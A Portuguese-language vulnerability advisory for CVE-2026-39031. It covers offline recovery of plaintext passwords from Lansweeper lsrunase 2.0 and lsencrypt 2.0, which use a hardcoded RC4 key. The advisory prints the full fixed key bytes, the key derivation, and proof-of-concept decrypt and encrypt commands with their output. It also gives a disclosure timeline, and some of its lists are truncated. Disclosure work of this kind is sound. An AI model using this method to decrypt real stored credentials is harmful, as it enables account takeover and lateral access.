
CVE-2026-39031 — recuperação offline de senhas em texto simples para Lansweeper lsrunase 2.0 / lsencrypt 2.0 através de uma chave RC4 hardcoded. PoC + aviso técnico.
O lsrunase 2.0 e o lsencrypt 2.0 da Lansweeper usam um esquema de criptografia de senha reversível baseado em RC4. A chave RC4 é derivada de um prefixo de 8 caracteres armazenado em texto claro junto com a senha criptografada e material de chave fixo embutido nos binários.
Qualquer pessoa que tenha uma string de senha criptografada produzida por qualquer uma das ferramentas pode recuperar a senha em texto puro offline. O processo de recuperação não requer força bruta: separe o prefixo em texto claro do valor criptografado, reconstrua o buffer de chave, calcule um resumo SHA-1 e descriptografe um texto cifrado RC4.
Este problema recebeu a designação CVE-2026-39031. Os registros públicos de CVE e NVD podem não aparecer até que a divulgação seja publicada e a propagação do registro seja concluída.
| Produto | Versão afetada |
|---|---|
Lansweeper lsrunase | 2.0 |
Lansweeper lsencrypt | 2.0 |
O componente afetado é a rotina de criptografia de senha usada por lsrunase.exe 2.0 e lsencrypt.exe 2.0.
Este não é o problema antigo do LSrunasE / Supercrypt registrado como CVE-2007-6340. Esse CVE antigo afetou o LSrunasE 1.0 da Geert Moernaut e o Supercrypt 1.0.
CVE-2026-39031 cobre especificamente o lsrunase 2.0 e o lsencrypt 2.0 da Lansweeper. A construção vulnerável é diferente: esses binários derivam a chave RC4 de um prefixo de 8 caracteres em texto claro mais um sufixo fixo de 142 bytes embutido nos binários.
Um valor de senha criptografada é construído como:
prefixo de 8 caracteres || base64(RC4(senha em texto puro))
O processo de criptografia é:
0x3f a 0x7e.SHA1(key_buffer) para produzir a chave RC4 de 20 bytes.O sufixo fixo de 142 bytes é:
0x27 0x0F 0x29 0x11 0x2B 0x13 0x2D 0x15
0x2F 0x17 0x31 0x19 0x33 0x1B 0x35 0x1D
0x37 0x1F 0x39 0x21 0x3B 0x23 0x3D 0x25
0x3F 0x27 0x41 0x29 0x43 0x2B 0x45 0x2D
0x47 0x2F 0x49 0x31 0x4B 0x33 0x4D 0x35
0x4F 0x37 0x51 0x39 0x53 0x3B 0x55 0x3D
0x57 0x3F 0x59 0x41 0x5B 0x43 0x5D 0x45
0x5F 0x47 0x61 0x49 0x63 0x4B 0x65 0x4D
0x67 0x4F 0x69 0x51 0x6B 0x53 0x6D 0x55
0x6F 0x57 0x71 0x59 0x73 0x5B 0x75 0x5D
0x77 0x5F 0x79 0x61 0x7B 0x63 0x7D 0x65
0x7F 0x67 0x81 0x69 0x83 0x6B 0x85 0x6D
0x87 0x6F 0x89 0x71 0x8B 0x73 0x8D 0x75
0x8F 0x77 0x91 0x79 0x93 0x7B 0x95 0x7D
0x97 0x7F 0x99 0x81 0x9B 0x83 0x9D 0x85
0x9F 0x87 0xA1 0x89 0xA3 0x8B 0xA5 0x8D
0xA7 0x8F 0xA9 0x91 0xAB 0x93 0xAD 0x95
0xAF 0x97 0xB1 0x99 0xB3 0x9B
Como o prefixo é armazenado em texto claro e o restante do material da chave é fixo em todas as instalações, todas as informações necessárias para derivar a chave RC4 estão disponíveis para um invasor que tenha uma string de senha criptografada e uma cópia do binário ou desta análise.
O script de prova de conceito não tem dependências de terceiros e funciona com Python 3.
$ python lsrunase2cve.py --decrypt "IssS|CI|NTOEHK5Q9l7Sn89xEA67+wo="
Decrypted: testpassword12345
O valor criptografado acima foi gerado pela GUI LSrunasE 2.0 password encrypter 2.0 para o valor em texto puro testpassword12345.
Para uma verificação de criptografia reproduzível usando o mesmo prefixo:
$ python lsrunase2cve.py --encrypt "testpassword12345" --prefix "IssS|CI|"
Encrypted: IssS|CI|NTOEHK5Q9l7Sn89xEA67+wo=
Um invasor com acesso local a um valor de senha criptografada produzido por lsrunase 2.0 ou lsencrypt 2.0 pode recuperar a senha em texto puro offline.
Dependendo de como as ferramentas são implantadas, as credenciais recuperadas podem permitir:
O problema é causado por vários problemas de design criptográfico no esquema de proteção de senha:
Categorias de fraqueza relevantes incluem:
CWE-321: Uso de Chave Criptográfica Fixa (Hard-coded)CWE-326: Força de Criptografia InadequadaCWE-327: Uso de Algoritmo Criptográfico Quebrado ou Arriscado| Data | Evento |
|---|---|
| 2026-03-13 | Fornecedor notificado via [email protected] com um cronograma de divulgação coordenada de 90 dias e um prazo de 14 dias para reivindicação de atribuição CVE. |
| 2026-03-31 | Fornecedor respondeu que o produto não é mais mantido. Nenhuma confirmação técnica foi fornecida. |
CWE-321: https://cwe.mitre.org/data/definitions/321.htmlCWE-326: https://cwe.mitre.org/data/definitions/326.htmlCWE-327: https://cwe.mitre.org/data/definitions/327.htmlCVE-2007-6340: https://nvd.nist.gov/vuln/detail/CVE-2007-6340| 2026-06-08 | MITRE atribuiu CVE-2026-39031. |